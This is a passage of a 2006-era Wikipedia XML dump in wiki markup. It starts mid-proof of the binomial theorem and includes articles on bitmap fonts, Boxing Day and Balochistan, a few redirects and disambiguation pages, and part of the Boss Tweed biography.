::&lt;math&gt; = a^{m+1} + \sum_{k=1}^m { m \choose k } a^{m-k+1} b^k + \sum_{j=0}^m { m \choose j } a^{m-j} b^{j+1}&lt;/math&gt;    by pulling out the &lt;math&gt;k=0&lt;/math&gt; term 	 

::&lt;math&gt; = a^{m+1} + \sum_{k=1}^m { m \choose k } a^{m-k+1} b^k + \sum_{k=1}^{m+1} { m \choose k-1 }a^{m-k+1}b^{k}&lt;/math&gt;    by letting &lt;math&gt; j = k-1&lt;/math&gt; 	 

::&lt;math&gt; = a^{m+1} + \sum_{k=1}^m { m \choose k } a^{m-k+1}b^k + \sum_{k=1}^{m} { m \choose k-1 }a^{m+1-k}b^{k} + b^{m+1}&lt;/math&gt;    by pulling out the &lt;math&gt; k=m+1&lt;/math&gt;    term from the RHS 	 

::&lt;math&gt; = a^{m+1} + b^{m+1} + \sum_{k=1}^m \left[ { m \choose k } + { m \choose k-1 } \right] a^{m+1-k}b^k&lt;/math&gt;    by combining the sums 	 

::&lt;math&gt; = a^{m+1} + b^{m+1} + \sum_{k=1}^m { m+1 \choose k } a^{m+1-k}b^k&lt;/math&gt;    from [[Pascal's rule]]

::&lt;math&gt; = \sum_{k=0}^{m+1} { m+1 \choose k } a^{m+1-k}b^k&lt;/math&gt;    by adding in the &lt;math&gt; m+1&lt;/math&gt;    terms. 	 

as desired.

==Trivia==

* In the [[Sherlock Holmes]] books, the villain [[Professor Moriarty]] is the author of [[A Treatise on the Binomial Theorem]].

* The binomial theorem is mentioned in the [[Gilbert and Sullivan]] song ''[[Major General's Song | I am the Very Model of a Modern Major General]]''.

* The binomial theorem appears in at least three different works by [[Monty Python]] - ''Coal Mine'', ''Happy Valley'', and ''The Meaning of Life''.

== See also ==

* [[multinomial theorem]]
* [[Pascal's triangle]]

{{planetmath|id=338|title=inductive proof of binomial theorem}} 
[[Category:Factorial and binomial topics]]
[[Category:Algebra]]
[[Category:Mathematical theorems]]


[[bn:দ্বিপদী উপপাদ্য]]
[[de:Binomischer Lehrsatz]]
[[es:Teorema del binomio]]
[[fr:Formule du binôme de Newton]]
[[he:&amp;#1492;&amp;#1489;&amp;#1497;&amp;#1504;&amp;#1493;&amp;#1501; &amp;#1513;&amp;#1500; &amp;#1504;&amp;#1497;&amp;#1493;&amp;#1496;&amp;#1493;&amp;#1503;]]
[[it:Teorema binomiale]]
[[ko:&amp;#51060;&amp;#54637;&amp;#51221;&amp;#47532;]]
[[nl:Binomium van Newton]]
[[ja:&amp;#20108;&amp;#38917;&amp;#23450;&amp;#29702;]]
[[pt:Binómio de Newton]]
[[ru:&amp;#1041;&amp;#1080;&amp;#1085;&amp;#1086;&amp;#1084; &amp;#1053;&amp;#1100;&amp;#1102;&amp;#1090;&amp;#1086;&amp;#1085;&amp;#1072;]]
[[sv:Binomialsatsen]]
[[zh:&amp;#20108;&amp;#39033;&amp;#24335;&amp;#23450;&amp;#29702;]]</text>
    </revision>
  </page>
  <page>
    <title>Bitmap font</title>
    <id>4678</id>
    <revision>
      <id>40587040</id>
      <timestamp>2006-02-21T17:23:15Z</timestamp>
      <contributor>
        <ip>72.224.247.145</ip>
      </contributor>
      <comment>Fixed internal link to [[Glyph Bitmap Distribution Font]]</comment>
      <text xml:space="preserve">[[Image:Original Mac fonts.png|thumb|An assortment of bitmap fonts from the first version of the [[Mac OS|Macintosh operating system]].]]

A '''bitmap [[Typeface|font]]''' is one that stores each [[glyph]] as an array of [[pixels]] (that is, a [[bitmap]]).  It is less commonly known as a '''raster font'''.

== Scaling ==
Bitmap fonts look best at their native [[pixel]] size. At non-native sizes, many text rendering systems perform [[nearest-neighbor resampling]], introducing ugly jagged edges. More advanced systems perform [[anti-aliasing]] on bitmap fonts whose size does not match the size that the application requests. This technique works well for making the font smaller but not as well for increasing the size, as it tends to blur the edges.

A &quot;trace&quot; program can follow the outline of a high-resolution bitmap font and create an initial outline that a font designer uses to create an [[outline font]] useful in systems such as [[PostScript]] or [[TrueType]]. Outline fonts scale easily without jagged edges or blurriness. 

==Bitmap font formats==
*[[Portable Compiled Font]] (PCF)
*[[Glyph Bitmap Distribution Format]] (BDF)
*[[Server Normal Format]] (SNF)
*[[DECWindows Font]] (DWF)
*Sun X11/NeWS format (BF)
*Microsoft Windows bitmapped font (FON)

== Uses outside computing ==
Bitmap fonts may be used in [[cross-stitch]].

[[Category:Digital typography]]

[[fr:Police matricielle]]
[[nl:Rasterlettertype]]
[[zh:&amp;#28857;&amp;#38453;&amp;#23383;&amp;#20307;]]


{{typ-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Bitmap</title>
    <id>4679</id>
    <revision>
      <id>15902939</id>
      <timestamp>2002-04-05T19:40:00Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <minor />
      <comment>Keep on consolidating =&amp;gt; Raster graphics</comment>
      <text xml:space="preserve">#REDIRECT [[Raster graphics]]</text>
    </revision>
  </page>
  <page>
    <title>Balboa</title>
    <id>4680</id>
    <revision>
      <id>42037550</id>
      <timestamp>2006-03-03T10:44:08Z</timestamp>
      <contributor>
        <username>Tlevine</username>
        <id>355100</id>
      </contributor>
      <comment>Wording of a Balboa (dance)</comment>
      <text xml:space="preserve">The word &quot;'''balboa'''&quot;, when used alone, has several possible meanings in the [[English language]]:

* [[Vasco Núñez de Balboa]], Spanish explorer, for whom are named:
** [[Balboa (currency)]], official currency of [[Panama]]
** [[Balboa, Panama|Balboa]], a port city in Panama
** [[Balboa, California]], a subsection of [[Newport Beach, California]], and also called the [[Balboa Peninsula]].
***(For which the [[Balboa (dance)]] step is later named)
** [[Balboa Island, Newport Beach, California|Balboa Island]]. 
** [[Balboa Park]], an area of [[San Diego, California]]
* '''Balboa''' is a municipality (pop. 440) in the province of [[León (province)|León]], [[Castile-Leon]], [[Spain]].
* The plant genus '''''Balboa''''' of the [[Clusiaceae]], synonym of ''[[Chrysochlamys]]''.

{{disambig}}

[[de:Balboa]]
[[es:Balboa]]
[[fr:Balboa]]
[[nl:Balboa]]
[[pl:Balboa (strona ujednoznaczniająca)]]
[[pt:Balboa]]
[[sv:Balboa]]</text>
    </revision>
  </page>
  <page>
    <title>Boxing Day</title>
    <id>4681</id>
    <revision>
      <id>39138030</id>
      <timestamp>2006-02-10T23:23:29Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced. Wikify dates</comment>
      <text xml:space="preserve">'''Boxing Day''' is a [[public holiday]] observed in many [[Commonwealth of Nations|Commonwealth]] countries on [[26 December]].  In many [[Europe]]an countries it is also a holiday, called '''[[St. Stephen's Day]]''' or the '''Second Day of [[Christmas]]'''. Depending on its origin, it may have traditionally been strictly defined as the first weekday after Christmas {{ref|mw}}.  However, in recent years Boxing Day has been almost universally accepted as [[26 December]] {{ref|smh}}, although its associated public holiday may fall on a different day.

Boxing Day is often celebrated by giving gifts and donations to the poor and needy.

In some Commonwealth countries, fixed-date holidays falling on Saturday or Sunday are often observed on the next weekday, so if Boxing Day falls on a Saturday then Monday [[28 December]] is a public holiday; while, if [[Christmas Day]] is a Saturday then both Monday [[27 December]] and Tuesday [[28 December]] will be public holidays. In the [http://www.dti.gov.uk/er/bankhol.htm government holiday listings] of the [[United Kingdom]] for 2004, the [[bank holiday]] in lieu of Boxing Day was observed on Monday [[27 December]], ''before'' the holiday in lieu of Christmas Day on Tuesday [[28 December]].

==Origins==
There is great dispute over the true origins of Boxing Day. The more common stories include:

*Centuries ago, merchants would present their servants food and fruits as a form of [[Yuletide]] tip. Naturally, the gifts of food and fruit were packed in boxes, hence the term &quot;Boxing Day&quot;.

*In feudal times, Christmas was a reason for a gathering of extended families. All the [[serf]]s would gather their families in the manor of their lord, which made it easier for the lord of the estate to hand out annual stipends to the serfs. After all the Christmas parties on [[December 25]], the lord of the estate would give practical goods such as cloth, grains, and tools to the serfs who lived on his land. Each family would get a box full of such goods the day after Christmas. Under this explanation, there was nothing voluntary about this transaction; the lord of the manor was obliged to supply these goods. Because of the boxes being given out, the day was called Boxing Day.

*In Britain many years ago, it was common practice for the servants to carry boxes to their employers when they arrived for their day's work on the day after Christmas ([[December 26]]). Their employers would then put coins in the boxes as special end-of-year gifts. This can be compared with the modern day concept of Christmas bonuses. The servants carried boxes for the coins, hence the name Boxing Day.  

*In churches, it was traditional to open the church's donation box on Christmas day, and the money in the donation box was to be distributed to the poorer or lower class citizens on the next day.  In this case, the &quot;box&quot; in &quot;Boxing Day&quot; comes from that one gigantic lockbox in which the donations were left.

*In Britain because many servants had to work for their employers on Christmas day they would instead open their presents (i.e., boxes) the next day, which therefore became known as Boxing Day.

==Commonwealth observance==
Boxing Day in the UK is traditionally a day for sporting activity, originally [[fox hunting]], but in modern times [[football (soccer)|football]] and horseracing.

In [[Canada]], and indeed any other country that celebrates it, Boxing Day is also observed as a public holiday, and is a day when stores sell their excess Christmas inventory at significantly reduced prices. Boxing Day has become so important for retailers that they often extend it into a &quot;Boxing Week&quot;. This occurs similarly in [[Australia]] and [[New Zealand]]. 

In Australia, the [[cricket]] [[Test cricket|Test match]] starting on [[December 26]] is called the [[Boxing Day Test|Boxing Day Test Match]], and is played at the [[Melbourne Cricket Ground]] before the largest crowd of the summer. Similarly in [[New Zealand]] a Boxing Day Test Match is played at [[Basin Reserve]] in Wellington.  In [[Sydney]], the annual [[Sydney-Hobart Yacht Race]], one of the biggest and most prestigious ocean racing events in the world, begins on this day, as the yachts depart [[Sydney Harbour]] before many thousands of spectators around the harbour and in spectator boats. 

In [[South Africa]], the 26th is also observed as a public holiday. Although officially the day is known as the Day of Goodwill, it is also often referred to as Boxing Day by local English speakers. It is common for a cricket test match, played against a visiting international team, to start on this day.

[[India]] and [[Maldives]] are  commonwealth counties, but there is no holiday on [[26 December]].
==European observance==
In [[Austria]], [[Denmark]], [[Germany]], [[Hungary]], [[the Netherlands]], [[Norway]], [[Poland]] and [[Sweden]], the 26th is known as the ''Second day of Christmas'' (''&quot;der zweite Weihnachtsfeiertag&quot;'' in Germany, ''Annandag Jul'' &amp;mdash; &quot;the day after Christmas&quot; &amp;mdash; in Sweden) and is also a public holiday.  In Ireland, the holiday is known as [[St Stephen's Day]], or [[Wrens Day|Wren's Day]]; in Austria it is called ''Stefanitag'' and in Finland ''tapaninpäivä'' which also mean &quot;St. Stephen's Day&quot;; in Wales, it is known as ''G&amp;#373;yl San Steffan'' (St. Stephen's Holiday). In [[Catalonia]], this day is known as ''Sant Esteve'', [[Catalan language|Catalan]] for St. Stephen.  A practice known as Hunt the [[Wren]] is still practiced by some in the [[Isle of Man]], where people thrash out wrens from [[Hedge (gardening)|hedgerows]].  Traditionally they were killed and their feathers presented to households for good luck. In Germany the days between Christmas and new year are called &quot;the days between the years&quot; (zwischen den Jahren) and becoming more and more important for retailers to clear the unsold christmas goods. 

==North American observance==
In both the United States (where the term &quot;Boxing Day&quot; is not used and is in fact unfamiliar to most) and Canada (where, as previously mentioned Boxing Day is observed as a holiday), Boxing Day is the day when many retail stores sell their products at discounted rates. This results in huge lineups at retailers. Stores have these sales to clear out old inventory for the next year; this is often in large part because for many US corporations and proprietorships, there is a millage tax (similar to property taxes) on any inventory retained as of [[1 January]] of each year (or [[7 January]]/[[15 January]] in some tax jurisdictions). Thus it behooves retailers to clear out as much retained inventory as possible to avoid the millage tax consequences.
Many products have a [[mail-in rebate]] to be used, a tactic used by manufacturers to clear their inventory. This trend is also increasingly occurring in the UK (despite it being a public holiday).

==Events on Boxing Day==
*[[Boxing Day Test]] ([[Test cricket|Test Match]] [[cricket]])
*[[Sydney to Hobart Yacht Race]]
*[[Football in England|English]] and [[Football in Scotland|Scottish Football]] matches
*[[Junkanoo]] is celebrated in [[The Commonwealth of The Bahamas]]

==References==
* {{Note|mw}} [http://www.merriamwebster.com/cgi-bin/dictionary?book=Dictionary&amp;va=boxing+day Merriam Webster] and [http://www.britannica.com/ebi/article-9317905 Encyclopedia Britannica] describing Boxing day as &quot;the first weekday after Christmas&quot;, where [http://www.merriamwebster.com/cgi-bin/dictionary?book=Dictionary&amp;va=weekday weekday] may or may not include Saturday.
* {{Note|smh}} The [http://www.bbc.co.uk/pressoffice/pressreleases/stories/2004/11_november/17/radio4_sun26.shtml British Broadcasting Corporation] refers to Sunday, [[26 December]] as &quot;Boxing Day&quot;

==External links==
* [http://www.snopes.com/holidays/christmas/boxing.asp The Origins of Boxing Day] (from [[Snopes.com]]) - A discussion of various theories on the origin of Boxing Day
* [http://www.n-chicken.net/features/boxingday/boxday.shtml Boxing Day: A Bafflingly Mysterious Enigma Puzzle] - Humorous (ficional) speculation on Boxing Day's origins.

[[Category:Christmas-linked holidays]]
[[Category:Holidays]]

[[da:2. juledag]]
[[fr:Boxing Day]]
[[ga:Lá 'le Stiofán]]
[[he:&amp;#1497;&amp;#1493;&amp;#1501; &amp;#1492;&amp;#1511;&amp;#1493;&amp;#1508;&amp;#1505;&amp;#1488;&amp;#1493;&amp;#1514;]]
[[ja:&amp;#12508;&amp;#12463;&amp;#12471;&amp;#12531;&amp;#12464;&amp;#12539;&amp;#12487;&amp;#12540;]]
[[pt:Boxing Day]]
[[sv:Annandag jul]]
[[zh:&amp;#33410;&amp;#31036;&amp;#26085;]]</text>
    </revision>
  </page>
  <page>
    <title>Bogosity</title>
    <id>4683</id>
    <revision>
      <id>15902943</id>
      <timestamp>2003-02-19T01:26:02Z</timestamp>
      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <comment>#REDIRECT [[Quantum bogodynamics]]</comment>
      <text xml:space="preserve">#REDIRECT [[Quantum bogodynamics]]</text>
    </revision>
  </page>
  <page>
    <title>Bungy jumping</title>
    <id>4685</id>
    <revision>
      <id>15902945</id>
      <timestamp>2002-04-03T16:33:42Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>Moving to the more common spelling.</comment>
      <text xml:space="preserve">#REDIRECT [[Bungee jumping]]
</text>
    </revision>
  </page>
  <page>
    <title>Balochistan</title>
    <id>4686</id>
    <revision>
      <id>37776854</id>
      <timestamp>2006-02-02T02:12:36Z</timestamp>
      <contributor>
        <username>Khoikhoi</username>
        <id>657950</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The name Balochistan or Baluchistan refers to several articles:

* '''[[Balochistan (region)]]''' is the name of a large region covering southwest [[Pakistan]] and southeast [[Iran]].
* '''[[Balochistan (Pakistan)]]''' is the name of a province of Pakistan.
* '''[[Balochistan (Iran)]]''' is part of the Iranian province of [[Sistan and Baluchistan Province|Sistan va Baluchestan]].
* '''[[Baluchistan (Chief Commissioners Province)]]''' refers to a former province of Pakistan and [[Provinces of India|British India]].
* '''[[Baluchistan States Union]]''' refers to a short-lived region of Pakistan.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Balochistan (Pakistan)</title>
    <id>4687</id>
    <revision>
      <id>41179098</id>
      <timestamp>2006-02-25T16:03:04Z</timestamp>
      <contributor>
        <username>Siddiqui</username>
        <id>308269</id>
      </contributor>
      <comment>/* British Era */</comment>
      <text xml:space="preserve">{{Pakistan infobox|
region = Balochistan | 
flag = Pk-bal.gif | 
map = PakistanBalochistan.png | 
capital = [[Quetta]] | 
latd = 30.12 | 
longd = 67.01 | 
pop_year = 2003 | 
population = 7,167,554 | 
density = 20.64| 
area = 347,190 | 
languages = [[Balochi language|Balochi]] &lt;br&gt; [[Pushtu language|Pashto]] &lt;br&gt; [[Brahui language|Brahui]] &lt;br&gt; [[Persian language|Persian]] (Farsi)| 
status = Province | 
districts = 26 | 
towns = | 
unions = | 
established = 1st July 1970| 
governor = Owais Ahmed Ghani | 
minister = Jam Muhammad Yousaf | 
legislature = Provincial Assembly | 
seats = 65 | 
website = www.balochistan.gov.pk | 
website_title = Gov't of Balochistan |
footnotes = | 
}}
{{otheruses4|the Pakistani province of Balochistan|other uses|Balochistan}}

The province of '''Balochistan''' (or '''Baluchistan''') in [[Pakistan]] contains most of historical [[Balochistan (region)|Balochistan]] and is named after the [[Baloch]].  Neighbouring regions are [[Iranian Balochistan]] to the west, [[Afghanistan]] and [[Federally Administered Tribal Areas, Pakistan]] to the north and [[Punjab, Pakistan|Punjab]] and [[Sindh]] to the east. To the south is the [[Arabian Sea]].  The principal languages in the province are [[Balochi language|Baluchi]], [[Pashto]], [[Brahui language|Brahui]], and [[Persian language|Persian]] (Farsi).  The capital and largest city is [[Quetta]].

==Geography==
Balochistan is located at the eastern edge of the [[Iranian plateau]] and in the difficult to define border region between [[Southwest Asia|Southwest]], [[Central Asia|Central]], and [[South Asia]].  It is geographically the largest of the four provinces at [[1 E11 m²|347,190]] [[square kilometre|km²]] and composes 42% of the total land area of Pakistan.  The [[population density]] is very low due to the mountainous terrain and scarcity of water.  The southern region is known as [[Makran]]. A region in the centre of the province is known as [[Kalat]].

The [[Sulaiman Mountains]] dominate the northeast corner and the [[Bolan Pass]] is a natural route into Afghanistan towards [[Kandahar]].  Much of the province south of the Quetta region is sparse desert terrain with pockets of inhabitable towns mostly near rivers and streams.  

The capital city is [[Quetta]], located in the most densely populated district in the northeast of the province. Quetta is situated in a river valley near the border with Afghanistan, with a road to [[Kandahar]] in the northwest.

At [[Gwadar]] on the coast  the Pakistani government is currently undertaking a large project with Chinese help to build a large port.  This is being done partially to provide the [[Pakistan Navy]] with another base, and to reduce Pakistan's reliance on [[Port of Karachi|Karachi]] and [[Port Qasim]], which are currently the only major ports.

==Climate==

{{sect-stub}}

==Demographics and society==
Balochistan has a population of around 7 million inhabitants.  The Baloch numerically dominate the south of the province, while the [[Pashtuns]] are the majority in and around Quetta and the north.  Near the [[Kalat]] region and other parts of the region the [[Brahui]] are a significant presence, while along the coast various [[Makrani]] peoples of mixed origins can be found such as the [[Meds]] and small groups of descendents of African slaves known as the [[Hubshi]] can also be found.  [[Persian language|Persian]]-speaking [[Dehwars]] also live in the Kalat region and further west towards the border with Iran. In addition, hundreds of thousands of [[Afghan]] refugees can be found in the province including Pashtuns, [[Tajiks]], and [[Hazara]]s.  [[Sindhi]] farmers have also moved to the more arable lands in the east.

==History==
:''See also the general history and culture of the historic region of [[Balochistan]]''.

===Ancient History===
Balochistan was the site of the earliest known [[farming]] settlements between [[South Asia]] and the [[Iranian plateau]], the earliest of which was [[Mehrgarh]] dated at [[6500 BC|6500 BCE]].  

Balochistan was sparsely populated by various [[Elamo-Dravidian]] and [[Indo-Iranian]] tribes for centuries following the decline of the nearby [[Harappa]]-[[Mohenjo-daro]] civilisation to the east. Over time, Balochistan was invaded by various Eurasian groups including the [[Aryans]], [[Persians]], [[Greeks]], [[Kushans]], [[Arabs]], [[Turkic peoples|Turks]], [[Mongols]], [[Mughals]], [[Afghans]], and the [[United Kingdom|British]]. Aryan invasions appear to have led to the eventual demise of the Elamo-Dravidians with the exception of the [[Brahui]] who may have arrived much later as did the Balochis themselves. The Balochis began to arrive from their homeland in northern Iran and appear to be an offshoot of the [[Kurdish people|Kurdish]] tribes that would mainly populate the western end of the Iranian plateau. The Balochi tribes eventually became a sizable group rivalled only by another Iranian group, the [[Pashtuns]], while the Brahuis increasingly came under the cultural influence of the Balochis.  Muslim Arab invaders annexed the region during the [[Abbasid]] period and conversion to [[Islam]] was coupled with the Balochi assimilation of Arab culture as well. Today, many Balochis believe that their origins are [[Semitic]] and not [[Iranian peoples|Iranian]] contrary to linguistic and historical evidence. Balochi tradition holds that they left their [[Aleppo]] homeland in [[Syria]] at some point during the 1st millennium CE and moved to Balochistan, but it appears more likely that the Balochis are an Iranian group who have absorbed some Arab ancestry and cultural traits instead.  Balochistan subsequently was dominated by empires based in [[Iran]] and [[Afghanistan]] as well as the [[Mughal]] empire based in India.  [[Ahmad Shah]] Durrani annexed the region as part of a &quot;greater&quot; [[Afghanistan]].  The area would eventually revert to local Balochi control, while parts of the northern regions would continue to be dominated by Pashtun tribes.      

===British Era===
During the period of the  British [[Raj]], there were four [[Princely States]] in Balochistan: [[State of Makran|Makran]], [[State of Kharan|Kharan]], [[State of Las Bela|Las Bela]] and [[State of Kalat|Kalat]], the largest and most powerful. During the first few decades of the 20th century it became clear that the British would eventually leave and that India would be partitioned.

Kalat was ruled by [[Mir Ahmed Yar Khan]], who wanted independence rather than possible Pakistani rule. Indeed, the British had given many Princely States the choice of either [[India]], Pakistan or independence during the immediate pre-partition period (though they were worried of having too many independent nations).

There were two devastating earthquakes in Balochistan during the British colonial rule. The [[1935 Balochistan Earthquake]] devasted [[Quetta]].  The [[1945 Balochistan Earthquake]] occured in [[Makran]] region and was felt in other regions of [[South Asia]].

===Post Independence===
When the British eventually  gave India (and the newly-created Pakistan) independence in August [[1947]] Mir Ahmed Yar Khan declared Kalat's independence. Though this was not a Baloch-wide movement, many Baloch chiefs sympathised with the idea.

In April [[1948]] the Pakistani army was brought in, and Mir Ahmed Yar Khan signed an accession agreement ending Kalat's de facto independence. His brother, Prince Abdul Karim, decided to carry on the struggle. Basing himself in [[Afghanistan]] he conducted a [[guerrilla warfare|guerrilla war]] against the Pakistani army. However, this eventually failed.

Parts of Balochistan were held by [[Oman]] as late as the [[1950s]], but they were eventually turned over to Pakistan. Included in these areas is the coastal city of [[Gwadar]].

In [[1955]] the provinces of West Pakistan (excluding areas of Pakistani-hled Kashmir) were amalgamated into one unit. This was resented by many Baloch, as well as other peoples in Pakistan such as the Pashtuns. The One Unit measure was seen as a [[Punjabi]] centralising move aimed at removing power from the provinces. This resulted in a Baloch uprising, with several battles between Balochs and the Pakistani army. A guerrilla war continued on into the [[1960s]], with several large-scale battles in [[1964]]-[[1965|65]]. This continued sporadically until the one unit was finally abolished in [[1970]].

In [[1973]], Pakistan's ruler [[Zulfikar Ali Bhutto]] dismissed Balochistan's provincial government. He said that [[Soviet]] guns and ammunition had been being found in [[Islamabad]] destined for Balochistan. Bhutto informed US president [[Richard Nixon]] of the find.

The Balochs were furious at the move and rose up against the Pakistanis. Eventually around 80,000 Pakistani troops were called in to quell the large uprising. Balochs attacked oil surveyors and cut roads.

The largest confrontation took place in September [[1974]] when around 15,000 Balochs fought the [[Pakistani Army]], which was armed with planes and helicopters. After three days of fighting the Balochs were running out of ammunition and so withdrew.

After this there was a continued guerrilla war, with some basing themselves in Afghanistan (the Afghan government complied with this and offered some financial support).

In [[1977]] General [[Muhammad Zia-ul-Haq]] took over in Pakistan. Announcing victory in Balochistan, he withdrew troops. By this time around 9000 - 10,000 people had died.
The uprising itself had suffered from a lack of direction. Some Baloch wanted independence, others only greater [[self-governance|autonomy]] within Pakistan. Attacks were organised by individual Baloch chiefs, rather than an organised Baloch-wide attack. Also, the Baloch hoped to get the support of the [[USSR]], which never happened. Also, the large Pashtun minority in Balcohistan did not take part and were hostile to the idea of an independent Balochistan.

Since the [[1970s]] there has been some small-scale violence. The area had been badly affected by fighting and instability in Afghanistan, with arms and refugees flooding the province. Small attacks have occurred against coal-miners and oil prospectors.

In [[1998]] Pakistan conducted nuclear tests in Balochistan.

Since 2003 Baloch chiefs have once again begun their armed struggle against what they feel as usurping of their rights against the Pakistan Army. Reports of serious clashes involving air power in the area have once again put this place under the news. In January 2006, [[Indymedia]] released on its website a 14 minute long amateur video purportedly recorded on March 17 2005 in the town of [[Dera Bugti]], that shows a number of dead bodies including children and signs of mortar shelling. In the video it is alleged that 60 people were killed in the fighting between Baloch nationalists and Pakistani army/security forces that took place that day. [http://video.indymedia.org/en/2006/01/260.shtml]

== Administrative division  ==
[[Image:Balochistan Tehsils.jpg|right|thumb|350px|The districts and tehsils of Balochistan]]

There are 26 districts in Balochistan.

&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt;
* [[Awaran]]
* [[Barkhan]]
* [[Bolan]]
* [[Chagai]]
* [[Dera Bugti]]
* [[Gwadar District|Gwadar]]
* [[Jafarabad]]
* [[Jhal Magsi]]
* [[Kalat]]
* [[Kharan]]
* [[Kohlu]]
* [[Khuzdar]]
* [[Qilla Abdullah]]
&lt;/td&gt;&lt;td valign=top&gt;
* [[Qilla Saifullah]]
* [[Lasbela]]
* [[Loralai]]
* [[Mastung]]
* [[Musakhel]]
* [[Nasirabad]]
* [[Panjgur]]
* [[Pishin]]
* [[Quetta]]
* [[Sibi]]
* [[Turbat]] or [[Kech]]
* [[Zhob]]
* [[Ziarat]]
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;


==Economy==
The economy of the province is largely based upon the production of natural gas, coal and minerals.  The province's natural resources  significantly help to meet the energy needs of Pakistan as a whole, but mainly benefit Pashtun mine workers as opposed to the more nomadic Baluch.  Infrastructure outside of [[Quetta]] is still in development as is the province as a whole.  Tourism remains limited but has increased due to the exotic appeal of the province. Limited farming in the east as well as fishing along the [[Arabian Sea]] coastline are other forms of income and sustenance for the local populations.  

Due to the tribal lifestyle of many Baluch and Brahui, animal husbandry is important as are trading bazaars found throughout the province.  

Though the province remains underdeveloped, changes are coming as plans for pipelines running from Iran to India as well Central Asian pipelines are all envisioned to be built in Balochistan.

==Education==
There are five main public universities in Balochistan, but there many private also in setting up to deliver the increasing demands for the province.

* [[Balochistan University of Engineering and Technology]]
* [[Balochistan University of Information Technology and Management Sciences]]
* [[Command and Staff College]]
* [[Sardar Bahadur Khan Women University]]
* [[University of Balochistan]]

{{sect-stub}}


==Social issues==
The delicate ethnic balance in the province was disrupted by Afghan refugees making the Pashtuns at least numerically equal to the Baloch in recent years.  The Baloch tribes have been the most prone to rebellion in Pakistan, in part due to their fiercely independent lifestyle as well as complaints at the lack of development and attention from the central government in [[Islamabad]].  These complaints have been partially addressed as the government has set-up schools and improved infrastructure near major settlements.  Balochistan remains one of the most conservative provinces in Pakistan and women are expected to wear the [[hijab]] unlike in many large cities where there are fewer restrictions.  The Baloch adhere to a clan-like structure and code of honor called ''mayar'' that bears some resemblance to [[Pashtunwali]], but with significant differences including the Baloch hierarchy and allegiance to Sardars and subordinate Waderas, both tribal chieftains, that the more individualistic and egalitarian Pashtuns lack.  The Sardars remain prominent in the province thanks in part to the British who boosted their authority.    

Due to the nature of Pakistan's parliamentary-style government, political power is often shared at various levels and the recent election of the Balochistan-born [[Zafarullah Khan Jamali]] to the post of Prime Minister is an indication of the growing role of the province in national affairs.

==Personalities==

;Pre-Independence (pre-1947)
{{sect-stub}}

;Post-Independence (post-1947)
* [[Zafarullah Khan Jamali]]


==See also==
* [[Baloch]]
* [[Balochistan]]
* [[Pashtuns]]
* [[Brahui]]
* [[Iranian Balochistan]]
* [[List of cities in Balochistan]]

==External links==

;Official
* [http://www.balochistan.org.pk/ Government of Balochistan]
* [http://www.balochistan.org Balochistan-Based Information Portal]

;Historical
* [http://www.chapatimystery.com/archives/homistan/the_baluchistan_issue.html A synopsis of the modern history of Balochistan and The State of Kalat]

;Photographs
*[http://www.itspakistan.net/pakistan/gallery_balu.aspx Picture Gallery of Baluchistan on itsPakistan]


{{Territorial_Capitals_in_Pakistan}}

[[Category:Balochistan]]
[[Category:Provinces of Pakistan]]
[[Category:Subdivisions of Pakistan]]

[[da:Baluchistan (Pakistan)]]
[[de:Belutschistan (Pakistan)]]
[[et:Belutšistani provints]]
[[es:Baluchistán (Pakistán)]]
[[fa:استان بلوچستان]]
[[ko:발루치스탄 주]]
[[hi:बलूचिस्तान]]
[[nl:Beloetsjistan (Pakistan)]]
[[sv:Baluchistan]]
[[ur:بلوچستان]]</text>
    </revision>
  </page>
  <page>
    <title>Boss Tweed</title>
    <id>4688</id>
    <revision>
      <id>42145088</id>
      <timestamp>2006-03-04T02:55:53Z</timestamp>
      <contributor>
        <ip>68.32.80.47</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Boss_tweed.jpg|thumb|1869 tobacco label featuring Boss Tweed ]]

'''William Marcy Tweed'''  ([[April 3]], [[1823]]&amp;ndash;[[April 12]], [[1878]]), commonly known as '''Boss Tweed''', was an [[Politics of the United States|American politician]] and [[political boss]] of [[Tammany Hall]] who became an [[icon]] of [[Urban_culture | urban]] [[political machine]]s.

Tammany Hall had existed since [[1789]]. Tweed was a chairmaker who used his popularity as a volunteer fire fighter in the Americus Engine Company No. 6, also known as the &quot;Big Six,&quot; to advance himself. He eventually became a chief in the fire department. He became an [[alderman]] in [[1851]] and he built his power through the election and appointment of his friends. Tweed and his cronies became known as the Tweed Ring. Tweed's [[political machine]] gained numerous offices in [[New York City]], and even to the state legislature and judges' seats, often through illegal means. From [[1860]]&amp;ndash;[[1870]], Tweed controlled almost every single [[United States Democratic Party]] nomination for the city and the state.

Tweed himself was elected to the [[United States House of Representatives]] in [[1852]], the New York City Board of Advisors in [[1856]], and the New York State Senate in [[1867]].

Financiers [[Jay Gould]] and [[Big Jim Fisk]] made Boss Tweed a director of the [[Erie Railroad]], and Tweed in turn arranged favorable legislation for them. Tweed and Gould became the subjects of political cartoons by [[Thomas Nast]] in 1869.

In April [[1870]], at the age of 47, Tweed secured the passage of a city charter putting the control of the city into the hands of the mayor ([[A. Oakey Hall]]), the [[comptroller]], and the commissioners of parks and public works. He then set about to plunder the city. The total amount of money stolen was never known, but was estimated to be about $200 million. Over a period of two years and eight months, [[New York City]]'s debts increased by $81,000,000 (USD), with little to show for the debt.

[[Image:Boss_Tweed,_Nast.jpg|thumb|left|''Boss Tweed,'' by Thomas Nast]]

The only known relatives of tweed are the Ramaekers, a Dutch family originating in the Buffalo New York area.(Last Updated Feb of 1974). His followers generally worked by presenting excessive bills for work performed. Ostensibly the bills were paid in full, but in reality only part of the amount was paid, with Tweed retaining the remainder and dividing it between his followers in proportion to their importance. For example, the city was billed $13,000,000 (USD) to build a courthouse, which was several times the actual cost of construction, estimated to be $250,000; and $3,000,000 (USD) for city printing and stationery over a two-year period.

